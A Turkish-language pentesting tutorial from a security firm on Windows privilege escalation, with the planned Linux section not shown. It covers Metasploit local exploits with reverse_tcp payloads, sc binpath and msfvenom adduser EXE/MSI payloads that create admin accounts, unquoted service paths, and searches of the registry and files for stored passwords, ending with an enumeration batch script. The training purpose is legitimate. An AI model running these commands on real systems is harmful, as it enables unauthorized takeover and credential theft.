btrisk

BİLGİ GÜVENLİĞİ VE BT YÖNETİŞİM HİZMETLERİ

WINDOWS & LINUX PRIVILEGE ESCALATION

(YETKİ YÜKSELTME)

Burhanettin Özgenç

OSCP

İçindekiler

I. GİRİŞ.....2

II. WINDOWS İŞLETİM SİSTEMİNDE YETKİ YÜKSELTME3

III. LINUX / UNIX İŞLETİM SİSTEMİNDE YETKİ YÜKSELTME 16

IV. BTRİSK Hakkında 38

I. GİRİŞ

Neden yetki yükseltme ihtiyacımız var?

Sızma testi çalışmalarında nihai hedefimiz sistem üzerindeki en üst yetki seviyesine ulaşmaktır. Eğer sisteme adım atmamıza imkan veren açıklığı barındıran servis veya uygulama sistem yöneticisi hakları ile çalışıyorsa ya da biz sistem yöneticisi olan bir kullanıcı hesabı ile sisteme erişmiş isek zaten bu haklara sahibizdir. Ancak eğer açıklığı barındıran servis daha düşük haklara sahip bir kullanıcı hesabı ile çalışıyorsa veya erişim bilgilerini ele geçirdiğimiz / tahmin ettiğimiz kullanıcı sistem yöneticisinden düşük haklara sahip ise bu durumda sistem yöneticisi haklarına erişmek için ekstra bir çaba daha göstermek durumundayız.

Neden yetki yükseltme ihtiyacımız var sorusunun özet yanıtı sıradan kullanıcı hakları ile elde edemeyeceğimiz verileri de elde etmek istememizdir. Sistem yöneticisi olduğumuzda sistem üzerinde tanımlı tüm kullanıcı parola hash'lerine ve bunlara ait dizinlere erişerek sızma testinin daha sonraki adımlarında da bu bilgilerden faydalanabiliriz.

Bu makalemizde Windows ve Linux / Unix işletim sistemleri için izlenebilecek jenerik yetki yükseltme yöntemlerine değinecek ve bu yöntemlerin uygulanabilmesi için son derece önemli olan bilgi toplama (enumeration) script örneklerini paylaşacağız.

Jenerik yetki yükseltme metodu

En sade haliyle bir sisteme eriştiğimizde yetki yükseltme metodunu şu şekilde özetleyebiliriz:

- Mevcut kullanıcımızın kim olduğu ve bu kullanıcının sistem üzerindeki haklarının anlaşılması (mevcut kullanıcımız sistem yöneticisi olmasa da sistem yöneticisi komutlarını çalıştırma hakları bulunabilir, diğer kullanıcılar hedef alınabilir)
- Sistem üzerinde lokal yetki yükseltme imkanı verebilecek açıklıklarını kapatan işletim sistemi yamalarının uygulanıp uygulanmadıklarının incelenmesi
- Sistem servisleri, zamanlı işler ve yüksek yetkili uygulamaların tespiti, bunların hangi kullanıcı hakları ile çalıştıklarının incelenmesi, yetki yükseltme açıklığı barındırıp barındırmadıklarının, konfigürasyon zayıflıklarının incelenmesi
- Uzaktan erişilemeyen ancak lokal olarak erişilebilen proses ve ağ servislerinin tespiti, bunlarda bulunabilecek açıklıkların veya bunların konfigürasyonlarındaki güvensiz ayarların incelenmesi
- (Mevcut kullanıcı hakları ile erişebildiklerimiz için) Sistem üzerindeki diğer kullanıcı home dizinlerinin, sistemin niteliğine uygun olarak belli sistem dosyalarının / veritabanlarının (ör: registry) diğer kullanıcı hesaplarına geçiş imkanı sağlayabilecek erişim bilgileri, v.b. bilgileri barındırıp barındırmadıklarının incelenmesi amacıyla gözden geçirilmesi

Yukarıdaki listedeki maddeler jenerik olmasına jenerik, ancak nasıl uygulanacakları işletim sistemine bağlı olduğu için anlaşılırlıkları doğal olarak düşük. Bu nedenle aşağıda söz konusu yöntemlerin Windows ve Linux / Unix işletim sistemleri üzerinde nasıl uygulandıklarını göreceğiz.

II. WINDOWS İŞLETİM SİSTEMİNDE YETKİ YÜKSELTME

Kullanıcı bilgilerimiz ve yetki seviyemiz

```
C:\> whoami
```

Bu komut bize domain name (veya makine adı) ve kullanıcı adımızı verir.

```
C:\> whoami /groups
```

Bu komut bize kullanıcımızın üye olduğu kullanıcı gruplarını listeler. Bu gruplar arasında Administrators grubunun var olup olmadığı lokal administrator haklarına sahip olup olmadığımızı anlamak için incelenmelidir (whoami /groups | findstr Administrators)

Sistem üzerindeki kullanıcılar ve kullanıcı grupları ile Administrators grubuna üye kullanıcıları listelemek için aşağıdaki komutları kullanabiliriz:

```
C:\> net users
```

```
C:\> net localgroup
```

```
C:\> net localgroup Administrators
```

Eğer açıklığı Metasploit ile istismar etmişsek veya sisteme eriştikten sonra sistem üzerinde bir meterpreter payload'u çalıştırarak aktif bir meterpreter oturumu oluşturmuşsak aşağıdaki Metasploit post exploitation modülünü kullanarak kullanıcımızın hakları ile ilgili enumeration yapabiliriz (söz konusu fonksiyonalitenin nasıl sağlandığını incelemek isterseniz şu Metasploit kütüphane koduna göz atabilirsiniz: /usr/share/metasploit-framework/lib/msf/core/post/windows/priv.rb):

```
meterpreter> run post/windows/gather/win_privs
```

Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama eksikliklerinin tespiti

Windows işletim sistemi versiyonu ve üzerinde yüklü yamaları listeleyen komut aşağıdaki gibidir:

```
C:\> systeminfo
```

Ancak bu komut sonuçlarından yola çıkarak manuel biçimde inceleme yapmak malesef pek verimli olmayacaktır. Bu nedenle söz konusu çıktıları değerlendirmek üzere başkaları tarafından geliştirilmiş bir çözümden faydalanabiliriz.

```
https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py
```

Tabi bu script'in bakımının sürekli yapılacağına güvenemeyiz, bu yüzden ne yaptığını da anlamamız gerekir veya desteklenen başka bir araca yönelmemiz gerekebilir. Windows exploit suggester python

kodunu linux üzerinde kullanabiliriz, neticede bu bir python kodu. Bu kodu kullanırken izlememiz gereken adımlar şunlardır:

- systeminfo komutunun çıktısını bir dosyaya yazmak.
- windows-exploit-suggester.py script'ini kullanarak Microsoft tarafından yayınlanmış olan tüm yamaların listesini bilgisayarımıza indirmek.
- Daha önceden yüklenmemiş ise XLS dosyaları parse edebilmek için gerekli xlrd Python kütüphanesini kurmak.
- windows-exploit-suggester.py script'ini kullanarak mevcut yamalar ve sistem üzerinde yüklü yamaları karşılaştırmak.
- Script'in çıktıları içinde privilege escalation açıklıklarını incelemek ve denemek.

Aşağıda hedef sisteme bir meterpreter oturumumuz bulunduğu varsayımıyla yukarıdaki işlemlerin nasıl yapılabileceğine ilişkin örnek adımları görebilirsiniz:

```
shell> systeminfo > C:\\windows\\temp\\systeminfo.txt

meterpreter> download C:\\windows\\temp\\systeminfo.txt

# ./windows-exploit-suggester.py --update

# pip install xlrd

# ./windows-exploit-suggester.py -i systeminfo.txt -d 2017-06-27-mssb.xls >
winexploits.txt
```

Aşağıdaki komutlarla işletim sistemi versiyonu ve privilege escalation açıklıkları listelenir:

```
# grep -i version winexploits.txt

# grep -i priv winexploits.txt
```

Lokal exploit'leri denemek için bu kodları hedef sisteme upload etmek ve çalıştırmak gerekir. PE dosya formatında (executable) dosyalar için dosyayı hemen kullanabiliriz. Ancak Python dilinde yazılmış olan local exploit dosyalarını aşağıdaki gibi exe formatına dönüştürerek kullanabiliriz. Bu işlemden önce PyWin32 python extension'ını Windows üzerinde kurmamız gerekir. Aşağıdaki işlem de Windows üzerinde yapılmalıdır:

```
C:\> python pyinstaller.py --onefile ms11-080.py
```

Önemli Not: Local exploit'ler de işletim sisteminin 32 bit veya 64 bit olmasına bağımlılık olabilmektedir. Dolayısıyla local exploit kodlarını kullanırken systeminfo çıktısında da görülebilecek bu bilgiye dikkat edilmelidir.

Yine mevcut bir meterpreter oturumunuz mevcut olmak şartıyla Metasploit'in bir post exploitation modülü kullanılabilir.

```
meterpreter> run post/multi/recon/local_exploit_suggester
```

Metasploit içinde mevcut bir meterpreter oturumu üzerinden Metasploit'te bulunan bir local exploit'i ise aşağıdaki gibi kullanabiliriz:

```
msf > use exploit/windows/local/ms14_058_track_popup_menu

msf exploit(ms14_058_track_popup_menu) > set LHOST 192.168.1.100

LHOST => 192.168.1.100

msf exploit(ms14_058_track_popup_menu) > set DisablePayloadHandler true

DisablePayloadHandler => true

msf exploit(ms14_058_track_popup_menu) > set LPORT 28746

LPORT => 28746

msf exploit(ms14_058_track_popup_menu) > set PAYLOAD
windows/x64/meterpreter/reverse_tcp

PAYLOAD => windows/x64/meterpreter/reverse_tcp

msf exploit(ms14_058_track_popup_menu) > set TARGET 1

TARGET => 1

msf exploit(ms14_058_track_popup_menu) > set SESSION 3

SESSION => 3

msf exploit(ms14_058_track_popup_menu) > set ExitOnSession false

ExitOnSession => false

msf exploit(ms14_058_track_popup_menu) > exploit -j
```

Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi

Windows işletim sisteminde kendine has bir servis yapısı bulunmaktadır. Bu Windows Servislerinden bir kısmı LocalService hakları ile çalışabilmektedir. Servislerdeki yama eksikliklerinin zaten bir önceki adımda tespit edilmesini bekleriz. Bu adımda servislerin konfigürasyonu ile ilgili açıklıklar aramamız gerekir. Bu açıklıklar:

- Servisin konfigürasyonunun sıradan kullanıcılar tarafından değiştirilebilmesidir. Burada hedefimiz servisin çalıştırdığı dosyanın bizim yüklediğimiz bir payload olarak değiştirilmesi ve daha sonra servisin başlatılması veya yeniden başlatılması gerekecektir. Windows XP SP0 ve SP1'den sonra öntanımlı olarak gelen böyle bir açıklık bulmak zordur. Ancak her zaman bir admin tarafından bu tür bir hata yapılabilir elbette.
- Servis konfigürasyonunda görünen çalıştırılabilir dosyanın kendi yüklediğimiz bir payload ile ezilebilmesidir. Bu durumda servis başlatıldığında konfigürasyon değişmese de çalışacak olan kod değişmiş olacaktır.

Belli bir servis konfigürasyonu hakkında bilgi elde etmek için aşağıdaki komutu kullanmak gerekir:

```
C:\> sc qc serviceadi
```

Bu servisin konfigürasyon değişiklik haklarını görmek için ise aşağıdaki komutu kullanmak gerekir:

```
C:\> sc sdshow serviceadi
```

Ancak bu şekilde servisleri tek tek incelemek ve her bir servis için de anlaşılması zor erişim haklarını incelemek pek pratik değildir. Bunun için sysinternals grubu tarafından geliştirilmiş olan "accesschk" aracının kullanılması en makul yöntemdir. Bu aracı hedef bilgisayara yükledikten sonra aşağıdaki komutları çalıştırarak sıradan kullanıcıların servisler üzerindeki hakları sorgulanabilir:

```
accesschk.exe -uwcqv "Authenticated Users" *  /accepteula

accesschk.exe -uwcqv "Users" *  /accepteula

accesschk.exe -uwcqv "Everyone" *  /accepteula
```

Writable servislerin tespit edilmesi halinde yapılması gereken işlem (upnphost ve ssdpsrv servislerindeki bu açıklık Windows XP SP 0 ve 1 için geçerlidir)

```
sc config upnphost binpath= "net user btr1 Password1 /add"

sc stop upnphost

sc start upnphost

sc config upnphost binpath= "net localgroup Administrators btr1 /add"

sc stop upnphost

sc start upnphost
```

Veya kullanıcı ekleme işini yapan bir exe'de üretebilir ve bunu kullanabilirdik (bu exe payload'u sadece kullanıcıyı eklemiyor, ayrıca bunu Administrators grubuna da üye yapıyor):

```
# msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f exe > adduser.exe
```

Hedef bilgisayar üzerinde RDP servisi açık ise rdesktop aracı ile Kali'den user kullanıcısı ve Administrators hakları ile sisteme bağlanabiliriz:

```
# rdesktop -u btr1 10.11.1.13
```

Kullanıcı ekledikten sonra eğer herhangi bir terminal imkanımız yoksa aşağıdaki komutla kullanıcımızla bir payload'u çalıştırabiliriz (bu payload'da bize ikinci bir shell açabilir):

```
C:\> runas /user:btr1\Password1 "C:\Users\BTR-
1\AppData\Local\Temp\payload.exe"
```

Malesef servis exe dosyalarına yazma haklarını topluca denetlemek için kullanabileceğimiz yöntem öncelikle "wmic" komutunun kullanılarak servis bilgilerinin listelenmesini gerektirmektedir. Ancak "wmic" komutu local Administrators grubuna üye kullanıcılar tarafından çalıştırılabilmektedir. (Aşağıdaki script'te de bu komut kullanılmıştır, eğer farklı bir yöntem hakkında bilgisi olan varsa bizi yönlendirebilirse seviniriz).

Bu nedenle servisleri aşağıdaki komutla tüm servisler listelenebilir ve ardından ilginç gelebilecek servis adları için tek tek servis exe yolları (BINARY_PATH_NAME) sorgulanabilir ve bu dosyaların bulunduğu dizinlerdeki yazma hakları da accesschk aracı ile incelenebilir:

```
C:\> sc query [tüm servisleri listeler, ilk sırada SERVICE_NAME bölümünde
servis adı görülür]

C:\> sc qc serviceadi [servis ile ilgili bilgiler sorgulanır,
BINARY_PATH_NAME bölümünde exe yolu görülür]
```

Bir dizin üzerindeki erişim izinlerini görmek için örnek accesschk.exe kullanımı (q – Omit banner, d – Only process directories or top level key, v – Verbose):

```
C:\> accesschk.exe -dqv "C:\Python27" /accepteula
```

Bir dosya üzerindeki erişim izinlerini görmek için örnek accesschk.exe kullanımı:

```
C:\> accesschk.exe -qv filename.txt /accepteula
```

Eğer servisi tekrar başlatma hakkımız yoksa ve servis otomatik olarak işletim sistemi açılışında başlatılıyorsa aşağıdaki komutla sistemi reboot edebiliriz:

```
C:\> shutdown /r /t 0
```

Sistem üzerinde çalışan proses'lerin, ağ servislerinin incelenmesi

Windows servislerine ek olarak uzaktan erişilemese de loopback arayüzünden erişilebilen ağ servisleri de eğer yüksek haklarla çalışıyorlar ve bir açıklığa sahiplerse privilege escalation saldırısı için bir araç olarak kullanılabilirler.

Sistem üzerinde aktif ağ servislerinin görüntülenmesi için (local admin haklarına sahip değilsek servisin arkasında çalışan uygulama adını göremeyiz):

```
C:\> netstat -anob [o – process id'sini, b – binary dosyayı gösterir]
```

Local admin hakkına sahip olmadığımızda ağ servislerinin arkasında çalışan binary görüntülenmeyecektir. Bunun için process id'sinden proses uygulama adını görmek için aşağıdaki komutu kullanabiliriz:

```
C:\> tasklist /fi "pid eq 1064"
```

Sistem üzerinde çalışan tüm proses'lerin listesi ve varsa bu proses'lerden bir Windows servisi ile ilişkili olanları aşağıdaki komut ile listelenir:

```
C:\> tasklist /SVC
```

Bu sorguların sonunda gözlemlenen uygulamalarla ilgili açıklıklar açık kaynaklardan incelenebilir ve local privilege escalation imkanı sunan proses'ler varsa değerlendirilebilir.

Proses'lerin hangi kullanıcı hakları ile çalıştıklarını da incelemek için aşağıdaki komut kullanılabilir:

```
C:\> tasklist /V
```

Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması

Parola barındıran dosyalar

Windows üzerinde bazı kurulum işlemleri sırasında Administrator kullanıcı parolası (Base64 kodlu olarak) belli dosyalar içinde bilgisayar üzerinde saklanabilmektedir. Aşağıda bu dosyalardan bir kısmını tespit etmek için kullanılabilecek komutları bulabilirsiniz:

Bu adım ve sonraki dosya incelemelerinde hedef sistem üzerindeki dosya isimlerinin aşağıdaki komutla bir dosyaya yazılmasında fayda vardır.

```
C:\> dir \ /a/s/b > dosyalistesi.txt
```

Daha sonra aşağıdaki komutlarla bu dosya içinde Administrator kullanıcı parolası barındırma ihtimali bulunan dosya isimlerini arayabiliriz.

```
C:\> type dosyalistesi.txt | findstr /I unattend.xml

C:\> type dosyalistesi.txt | findstr /I unattend.txt

C:\> type dosyalistesi.txt | findstr /I sysprep.inf

C:\> type dosyalistesi.txt | findstr /I sysprep.xml
```

Administrator hakları ile kurulum dosyası çalıştırma yetkisi

Windows üzerinde yapılan kurulumlarda düşük yetkili kullanıcılara sistem yöneticisi hakları ile kurulum yapma yetkisi bulunan bazı registry kayıtları bulunmaktadır. Bu kayıtların mevcudiyeti ve değerlerinin "1" olması yüksek yetkili haklarla bir kurulum (msi) dosyası çalıştırma imkanını sağlar.

Always install elevated ayarının kontrol edilmesi için kullanılan komutlar:

```
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated

C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
```

Bu imkanın bulunması halinde msfvenom ile bir "msi" payload'u oluşturarak local Administrators grubuna bir kullanıcı ekleyebiliriz:

```
# msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f -f msi-nouac -o
adduser.msi

C:\> msiexec /quiet /qn /i C:\Users\BTR-1\AppData\Local\Temp\adduser.msi
```

Öntanımlı kullanıcı adı ve parola barındıran registry kayıtları

Windows işletim sistemi üzerinde öntanımlı olarak erişim bilgilerinin saklandığı register kayıtları bulunabilmektedir. Bu kayıtlar sayesinde bilgisayar açılırken belirtilen erişim bilgileri ile otomatik logon sağlanmaktadır. Bu kayıtların varlığını aşağıdaki gibi test edebiliriz:

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v
DefaultPassword 2> nul

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v
DefaultUsername 2> nul

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v
DefaultDomainname 2> nul
```

Windows işletim sisteminde registry yapısı çok geniş bir bilgi toplama imkanı sağlayabilmektedir. Bu bilgiler arasında parola bilgisi de bulunabilir. Bunlara örnek olarak VNC erişim şifreleri verilebilir.

```
reg query HKLM\SOFTWARE\RealVNC\vncserver /v Password 2> NUL

reg query HKLM\Software\TightVNC\Server /v Password 2> NUL

[daha geniş bir liste aşağıdaki script içinde bulunabilir]
```

Daha jenerik biçimde içinde "password" kelimesi geçen tüm registry kayıtları aşağıdaki komutlarla araştırılabilir:

```
reg query HKLM /k /f password /t REG_SZ /s

reg query HKCU /k /f password /t REG_SZ /s
```

Tırnak ile kapatılmamış servis çalıştırılabilir dosya yolu

Windows servislerine özel bir başka açıklık türü de servis konfigürasyonunda BINARY_PATH_NAME değerinin tırnak işaretleri ile çevrelenmemiş olması durumudur. Böyle bir değere aşağıdaki örneği verelim:

```
C:\Program Files\sub dir\program name.exe
```

Windows işletim sistemi bu çalıştırılabilir kodu çalıştırmak için şu sırada dosya arayacaktır:

```
C:\program.exe files\sub dir\program name

C:\program files\sub.exe dir\program name

C:\program files\sub dir\program.exe name
```

Yukarıdaki sırada bulunan ilk exe (veya diğer Windows çalıştırılabilir dosya uzantılı) dosya bulunduğunda çalıştırılır. Eğer düşük haklara sahip kullanıcı olarak örneğin "C:\Program Files\sub dir\" dizinine yazma hakkımız varsa, program.exe adıyla oluşturacağımız bir payload dosyasını buraya yerleştirerek servisin çalışma hakları ile payload'umuzu çalıştırabiliriz (tabi servisin yeniden başlatılması neticesinde).

Tekrar hatırlamak gerekirse servis listesini almak için:

```
C:\> sc query
```

Bir servisin konfigüasyon ayarlarını görmek için:

```
C:\> sc qc servisadi
```

Bir dizinin erişim haklarını incelemek için:

```
C:\> accesschk.exe -dqv "C:\program files\sub dir " /accepteula
```

komutlarını kullanabiliriz.

Dosya adı ve içerik araştırma

Son olarak hassas veri barındırabileceğini düşündüğümüz dosya isimlerini aramak ve parola v.b. bilgileri barındırabilecek dosyaları tespit etmek için aşağıdaki komutları kullanabiliriz (özellikle dosyalar içinde kelime aramanın çok uzun zaman alabileceğini hatırlayınız):

```
C:\> type dosyalistesi.txt | findstr /I \.*ssh.*[.]ini$

C:\> type dosyalistesi.txt | findstr /I \.*ultravnc[.]ini$

C:\> type dosyalistesi.txt | findstr /I \.*vnc[.]ini$

C:\> findstr /si "password=" C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul

C:\> findstr /si "passwd=" C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul

C:\> findstr /si "pass=" C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul

C:\> findstr /si "pwd=" C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul
```

WINDOWS ENUMERATION SCRIPT'İ

ÖNEMLİ NOT: Bu makalede yer alan script'leri çalıştırmanızdan kaynaklanabilecek risklerle ilgili sorumluluk size aittir. Çalıştırmadan önce script'leri okumalı ve tam olarak anlamalısınız. Zaten script'ler size hazır biçimde açıklıkları listelemeyecek, sizin incelemeniz gereken sonuçları üretecektir.

Windows enumeration script'inin son bölümlerinde bulunan çok sayıda dosya içinde parola arayan bölümdeki komutlarda olduğu gibi bazı komutların tamamlanması çok uzun süre alabilir. Bu tür durumlarda script'i kısaltmak isteyebilirsiniz.

Sisteme eriştiğimiz kullanıcıların yetkileri script'lerdeki tüm komutları çalıştırmaya yetmeyebilir. Bu durumlarda oluşturulacak hata mesajlarının çıktılarımızı kirletmemesi için "standard error redirection" yönetmini kullanıyoruz (2> nul). Bu yöntem sayesinde hata mesajları "standard output"a yazılmıyor.

```
@echo OFF
echo ========================================================
echo TEMEL BILGILER
echo ========================================================
echo **********************************************************
echo KULLANICI DOMAIN VE ADI - WINDOWS XP USULU
echo **********************************************************
echo Domain: %userdomain% 2> nul
echo Username: %username% 2> nul
echo **********************************************************
echo KULLANICI DOMAIN VE ADI - WHOAMI
echo **********************************************************
whoami 2> nul
echo **********************************************************
echo ISLETIM SISTEMI ADI VE VERSIYONU
echo **********************************************************
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
echo **********************************************************
echo SUNUCU ADI
echo **********************************************************
hostname
echo **********************************************************
echo ADMINISTRATORS GRUBUNA UYE MIYIZ - ASAGIDA ADMINISTRATORS GRUBUNUN ADI
MEVCUTSA EVET
echo **********************************************************
whoami /groups | findstr Administrators
echo **********************************************************
echo KULLANICIMIZIN UYESI OLDUGU GRUPLAR
echo **********************************************************
whoami /groups
echo **********************************************************
echo ADMINISTRATORS GRUBUNUN UYELERI
echo **********************************************************
net localgroup Administrators
echo **********************************************************
echo KULLANICI LISTESI
echo **********************************************************
net users
echo **********************************************************
echo KULLANICI GRUPLARI
echo **********************************************************
```

```
net localgroup
echo ************************************************************
echo CALISAN PROSESLER VE ILGILI SERVIS BILGILERI
echo ************************************************************
tasklist /SVC
echo ************************************************************
echo DINLEYEN AG SERVISLERI (sadece process id leri gosterebiliyoruz, binary
opsiyonu icin yuksek haklar gerekiyor)
echo ************************************************************
netstat -ano
echo ************************************************************
echo CALISAN SERVISLER
echo ************************************************************
net start
echo ************************************************************
echo DRIVERLAR (driverquery /V SORGUSU ILE DETAYLI BILGI ALINABILIR)
echo ************************************************************
driverquery
echo ************************************************************
echo CEVRESEL DEGISKENLER
echo ************************************************************
set
echo ************************************************************
echo SYSTEMINFO BILGISI (Ayni zamanda systeminfo-enum.txt dosyasina yazilir)
echo ************************************************************
systeminfo > systeminfo-enum.txt && type systeminfo-enum.txt
echo ************************************************************
echo PAYLASIMLAR
echo ************************************************************
net share
echo ************************************************************
echo HOSTS DOSYASI
echo ************************************************************
more %WINDIR%\System32\drivers\etc\hosts
echo ************************************************************
echo NETWORKS DOSYASI
echo ************************************************************
more %WINDIR%\System32\drivers\etc\networks
echo ************************************************************
echo GROUP POLICY
echo ************************************************************
gpresult /R 1>2>NUL
IF %ERRORLEVEL% == 1 (
        REM WINXP
        gpresult
) ELSE (
        REM WIN7
        gpresult /R
)

echo ============================================================
echo KISA INCELEME
echo ============================================================
echo Asagidaki komutlarin calisabilmesi icin script ile ayni dizinde
accesschk.exe nin de bulunmasi gereklidir
echo Asagida belirtilen dizinlere erisim izinlerinin manuel olarak
accesschk.exe veya cacls araclari ile incelenmesi gerekmektedir
echo ************************************************************
echo SERVIS KONFIGURASYONU AUTHENTICATED USERS GRUBU TARAFINDAN
DEGISTIRILEBILEN SERVISLER (WINDOWS XP SP 0 - 1)
```

```
echo u - Suppress errors w - Show only objects that have write access c -
Name is a windows service q - Omit banner v - Verbose
echo Ayrica kullanicimizin uye oldugu ilginc bir grup varsa bunlar icin de
elle accesschk i calistirmakta fayda var
echo ******************************************************
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
echo ******************************************************
echo SERVIS KONFIGURASYONU USERS GRUBU TARAFINDAN DEGISTIRILEBILEN SERVISLER
(WINDOWS XP SP 0 - 1)
echo ******************************************************
accesschk.exe -uwcqv "Users" * /accepteula
echo ******************************************************
echo SERVIS KONFIGURASYONU EVERYONE GRUBU TARAFINDAN DEGISTIRILEBILEN
SERVISLER (WINDOWS XP SP 0 - 1)
echo ******************************************************
accesschk.exe -uwcqv "Everyone" * /accepteula
echo ******************************************************
echo ALWAYS INSTALL ELEVATED AYARI AKTIF MI (EGER REGISTRY ANAHTAR 1 DEGERI
CIKIYORSA AKTIFTIR)
echo ******************************************************
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated 2> nul
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated 2> nul
echo ******************************************************
echo SERVIS EXECUTABLE I TIRNAK ILE BELIRTILMEMIS SERVISLER (Manuel olarak
dizinlere erisim haklarinin kontrol edilmesi gereklidir)
echo WMIC komutu administrators grubuna uye degilsek calismayacaktir
echo ******************************************************
wmic service get name,displayname,pathname,startmode 2> nul |findstr /i /v
"c:\windows\\" |findstr /i /v """
echo ******************************************************
echo SERVIS EXECUTABLE DOSYALARI ERISIM HAKLARI
echo ******************************************************
if exist serviceexes.txt del serviceexes.txt
if exist dosyalistesi.txt del dosyalistesi.txt
dir \ /a/s/b > dosyalistesi.txt
for /f "tokens=1 delims=," %%a in ('tasklist /SVC /FO CSV ^| findstr /I
\.*exe*. ^| findstr /VI "smss.exe csrss.exe winlogon.exe services.exe
spoolsv.exe explorer.exe ctfmon.exe wmiprvse.exe msmsgs.exe notepad.exe
lsass.exe svchost.exe findstr.exe cmd.exe tasklist.exe"') do (findstr %%a$ |
findstr /VI "\.*winsxs\\*.") <dosyalistesi.txt >> serviceexes.txt
for /f "tokens=*" %%a in (serviceexes.txt) do (cacls "%%a")
echo ******************************************************
echo SERVIS BILGILERI - BINARY_PATH_NAME VE SERVICE_START_NAME BILGILERI ILE
echo ******************************************************
for /f "tokens=2" %%a in ('sc queryex type^= service state^= all ^| find ^/i
"SERVICE_NAME"') do (sc qc %%a)
echo ******************************************************
echo SERVIS BILGILERI - CALISMA DURUMLARI ILE
echo ******************************************************
sc queryex type= service state= all
echo ******************************************************
echo ZAMANLI (SCHEDULED) ISLER
echo Bu islerin calistirdigi dosyalara erisim izinlerinin kontrol edilmesi
gerekmektedir
echo Schedule type hangi siklikta calisacagini Task to run hangi kodun
calisacagini belirtir
echo Run as user bolumu hangi kullanici haklari ile calisacagini belirtir
echo ******************************************************
schtasks /query /fo LIST /v
```

```
echo ************************************************************
echo DEFAULT LOGON PAROLASI
echo ************************************************************
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v
DefaultPassword 2> nul
echo ************************************************************
echo DEFAULT LOGON KULLANICI ADI
echo ************************************************************
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v
DefaultUsername 2> nul
echo ************************************************************
echo DEFAULT LOGON DOMAIN ADI
echo ************************************************************
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v
DefaultDomainname 2> nul
echo ************************************************************
echo ICINDE ONTANIMLI CREDENTIAL BARINDIRABILECEK DOSYALAR
echo ************************************************************
type dosyalistesi.txt | findstr /I unattend.xml
type dosyalistesi.txt | findstr /I unattend.txt
type dosyalistesi.txt | findstr /I sysprep.inf
type dosyalistesi.txt | findstr /I sysprep.xml
echo ************************************************************
echo VNC PAROLALARI ICEREBILECEK REGISTERY ANAHTARLARI
echo ************************************************************
reg query HKLM\SOFTWARE\RealVNC\vncserver /v Password 2> NUL
reg query HKLM\Software\TightVNC\Server /v Password 2> NUL
reg query HKCU\Software\TightVNC\Server /v Password 2> NUL
reg query HKLM\Software\TightVNC\Server /v PasswordViewOnly 2> NUL
reg query HKLM\Software\TigerVNC\WinVNC4 /v Password 2> NUL
reg query HKLM\SOFTWARE\ORL\WinVNC3\Default /v Password 2> NUL
reg query HKLM\SOFTWARE\ORL\WinVNC3 /v Password 2> NUL
reg query HKCU\Software\ORL\WinVNC3 /v Password 2> NUL

echo ============================================================
echo UZUN INCELEME
echo ============================================================
echo ************************************************************
echo REGISTRY KAYITLARI ICINDEKI OLASI PASSWORD DEGERLERI
echo ************************************************************
reg query HKLM /k /f password /t REG_SZ /s
reg query HKCU /k /f password /t REG_SZ /s
echo ************************************************************
echo ILGINC DOSYA ADLARI
echo ************************************************************
type dosyalistesi.txt | findstr /I \.*proof[.]txt$
type dosyalistesi.txt | findstr /I \.*network-secret[.]txt$
type dosyalistesi.txt | findstr /I \.*ssh.*[.]ini$
type dosyalistesi.txt | findstr /I \.*ultravnc[.]ini$
type dosyalistesi.txt | findstr /I \.*vnc[.]ini$
type dosyalistesi.txt | findstr /I \.*bthpan[.]sys$
type dosyalistesi.txt | findstr /I \.*\\repair$
type dosyalistesi.txt | findstr /I \.*passw*. | findstr /VI \.*.chm$ |
findstr /VI \.*.log$ | findstr /VI \.*.dll$ | findstr /VI \.*.exe$
type dosyalistesi.txt | findstr /I \.*[.]vnc$
type dosyalistesi.txt | findstr /I \.*groups[.]xml$
type dosyalistesi.txt | findstr /I \.*printers[.]xml$
type dosyalistesi.txt | findstr /I \.*drives[.]xml$
type dosyalistesi.txt | findstr /I \.*scheduledtasks[.]xml$
type dosyalistesi.txt | findstr /I \.*services[.]xml$
type dosyalistesi.txt | findstr /I \.*datasources[.]xml$
```

```
type dosyalistesi.txt | findstr /I \.*.rsa.*[.].*$ | findstr /VI \.*.dll$ |
findstr /VI \.*.rat$
type dosyalistesi.txt | findstr /I \.*.dsa.*[.].*$ | findstr /VI \.*.dll$ |
findstr /VI \.*.exe$ | findstr /VI \.*.gif$ | findstr /VI \.*.handsafe[.]reg$
type dosyalistesi.txt | findstr /I \.*[.]dbx$
type dosyalistesi.txt | findstr /I \.*.account.*.$ | findstr /VI
\.*.User.Account.Picture.*. | findstr /VI \.*.bmp$
type dosyalistesi.txt | findstr /I \.*ntds[.].*$
type dosyalistesi.txt | findstr /I \.*hiberfil[.].*$
type dosyalistesi.txt | findstr /I \.*boot[.]ini$
type dosyalistesi.txt | findstr /I \.*win[.]ini$
type dosyalistesi.txt | findstr /I \.*.\\config\\RegBack
type dosyalistesi.txt | findstr /I \.*.\\CCM\\logs
type dosyalistesi.txt | findstr /I \.*.\\iis.[.]log$
